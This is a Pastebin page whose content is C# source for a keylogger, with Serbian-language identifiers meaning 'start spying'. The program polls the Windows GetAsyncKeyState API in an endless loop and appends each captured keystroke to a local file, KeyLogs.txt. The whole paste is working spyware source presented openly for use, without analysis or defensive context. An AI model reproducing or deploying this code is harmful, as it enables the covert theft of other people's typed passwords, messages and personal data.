Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Windows.Forms;
- using System.Runtime.InteropServices;
- using System.IO;
- using System.Threading;
- namespace kejloger
- {
- class Program
- {
- [DllImport("user32.dll")]
- private static extern int GetAsyncKeyState(Int32 i);
- static void Main(string[] args)
- {
- pokreniSpijuniranje();
- }
- private static void pokreniSpijuniranje()
- {
- string putanja = "KeyLogs.txt";
- if(!File.Exists(putanja))
- {
- using(StreamWriter sw = File.CreateText(putanja))
- { }
- }
- KeysConverter konverter = new KeysConverter();
- string text = "";
- while(true)
- {
- Thread.Sleep(10);
- for(Int32 i = 0; i < 255; i++)
- {
- int key = GetAsyncKeyState(i);
- if(key == 1 || key == -32767)
- {
- text = konverter.ConvertToString(i);
- using(StreamWriter sw = File.AppendText(putanja))
- {
- sw.WriteLine(text);
- }
- break;
- }
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement